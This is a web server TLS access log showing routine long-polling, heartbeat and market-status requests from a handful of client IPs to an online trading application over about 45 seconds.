[09/Jan/2026:11:55:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931172446 HTTP/1.1" -
[09/Jan/2026:11:55:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931173623 HTTP/1.1" -
[09/Jan/2026:11:55:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931174770 HTTP/1.1" -
[09/Jan/2026:11:55:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931173955 HTTP/1.1" -
[09/Jan/2026:11:55:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931176594 HTTP/1.1" -
[09/Jan/2026:11:55:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931176865 HTTP/1.1" -
[09/Jan/2026:11:55:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931177192 HTTP/1.1" -
[09/Jan/2026:11:55:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931177506 HTTP/1.1" -
[09/Jan/2026:11:55:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931178686 HTTP/1.1" -
[09/Jan/2026:11:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931179812 HTTP/1.1" -
[09/Jan/2026:11:55:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931179036 HTTP/1.1" -
[09/Jan/2026:11:55:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931181651 HTTP/1.1" -
[09/Jan/2026:11:55:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931182006 HTTP/1.1" -
[09/Jan/2026:11:55:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931182385 HTTP/1.1" -
[09/Jan/2026:11:55:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931182562 HTTP/1.1" -
[09/Jan/2026:11:55:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931183747 HTTP/1.1" -
[09/Jan/2026:11:55:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931184854 HTTP/1.1" -
[09/Jan/2026:11:55:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931184110 HTTP/1.1" -
[09/Jan/2026:11:55:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931186706 HTTP/1.1" -
[09/Jan/2026:11:55:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931187067 HTTP/1.1" -
[09/Jan/2026:11:55:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931187621 HTTP/1.1" -
[09/Jan/2026:11:55:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931187623 HTTP/1.1" -
[09/Jan/2026:11:55:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931188808 HTTP/1.1" -
[09/Jan/2026:11:55:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931189905 HTTP/1.1" -
[09/Jan/2026:11:55:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931189174 HTTP/1.1" -
[09/Jan/2026:11:55:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931191773 HTTP/1.1" -
[09/Jan/2026:11:55:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931192195 HTTP/1.1" -
[09/Jan/2026:11:55:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931192686 HTTP/1.1" -
[09/Jan/2026:11:55:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931192846 HTTP/1.1" -
[09/Jan/2026:11:55:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931193868 HTTP/1.1" -
[09/Jan/2026:11:55:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931194928 HTTP/1.1" -
[09/Jan/2026:11:55:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931194250 HTTP/1.1" -
[09/Jan/2026:11:55:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931196828 HTTP/1.1" -
[09/Jan/2026:11:55:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931197326 HTTP/1.1" -
[09/Jan/2026:11:55:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931197749 HTTP/1.1" -
[09/Jan/2026:11:55:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931197978 HTTP/1.1" -
[09/Jan/2026:11:55:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931198929 HTTP/1.1" -
[09/Jan/2026:11:55:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931199965 HTTP/1.1" -
[09/Jan/2026:11:55:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931199275 HTTP/1.1" -
[09/Jan/2026:11:55:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931201890 HTTP/1.1" -
[09/Jan/2026:11:55:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931202474 HTTP/1.1" -
[09/Jan/2026:11:55:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931202836 HTTP/1.1" -
[09/Jan/2026:11:55:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931203174 HTTP/1.1" -
[09/Jan/2026:11:55:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931204004 HTTP/1.1" -
[09/Jan/2026:11:55:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931205000 HTTP/1.1" -
[09/Jan/2026:11:55:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931204301 HTTP/1.1" -
[09/Jan/2026:11:55:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:11:55:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931206945 HTTP/1.1" -
[09/Jan/2026:11:55:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931207606 HTTP/1.1" -
[09/Jan/2026:11:55:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931207895 HTTP/1.1" -
[09/Jan/2026:11:55:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931208450 HTTP/1.1" -
[09/Jan/2026:11:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931209072 HTTP/1.1" -
[09/Jan/2026:11:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931210040 HTTP/1.1" -
[09/Jan/2026:11:55:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931209390 HTTP/1.1" -
[09/Jan/2026:11:55:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931212014 HTTP/1.1" -
[09/Jan/2026:11:55:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931212752 HTTP/1.1" -
[09/Jan/2026:11:55:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931212963 HTTP/1.1" -
[09/Jan/2026:11:55:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931213622 HTTP/1.1" -
[09/Jan/2026:11:55:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931214129 HTTP/1.1" -
[09/Jan/2026:11:55:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931215073 HTTP/1.1" -
[09/Jan/2026:11:55:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931214632 HTTP/1.1" -
[09/Jan/2026:11:55:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:55:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
